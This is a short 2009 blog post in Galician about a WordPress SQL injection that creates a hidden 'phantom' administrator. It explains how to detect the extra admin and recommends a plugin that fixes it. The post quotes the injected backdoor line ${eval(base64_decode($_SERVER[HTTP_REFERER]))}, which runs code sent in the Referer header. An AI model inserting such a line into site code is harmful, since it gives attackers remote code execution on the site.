Linwind – De Windows a Linux

Solucion ao problema do Administrador pantasma de WordPress

Escrito en: Axuda, Seguridade o día 6 Setembro 2009

Solucion al problema del Administrador fantasma de WordPress

Nestes últimos días está a ser explotado un problema que carrexa WordPress durante unhas cantas versións, trátase dunha inxección SQL á base de datos do noso WordPress que permitirá a creación dun usuario con permisos de administrador. En moitos casos o problema agravouse con modificacións nos permalinks ao estado por defecto de WordPress ou a adicción do código ${eval(base64_decode ($_SERVER[HTTP_REFERER]))} convertendo en imposible a navegación dentro da páxina web.

Detectar o administrador pantasma é moi simple xa que entrando ao panel de administración de usuario veremos que hai máis administradores dos que realmente ten o blog, aínda que non o vexamos na lista, se vemos que hai máis administradores que o número que aparece á beira de administrador e que temos un administrador pantasma.

Grazas á gran comunidade que ten este magnifico CMS xa dispomos dun plugin que o soluciona, este plugin encárgase de comprobar que non existan administradores pantasma.

Clic aquí para ayuda.

Deixa unha resposta

Cuando comenta está aceptando la Política de privacidad.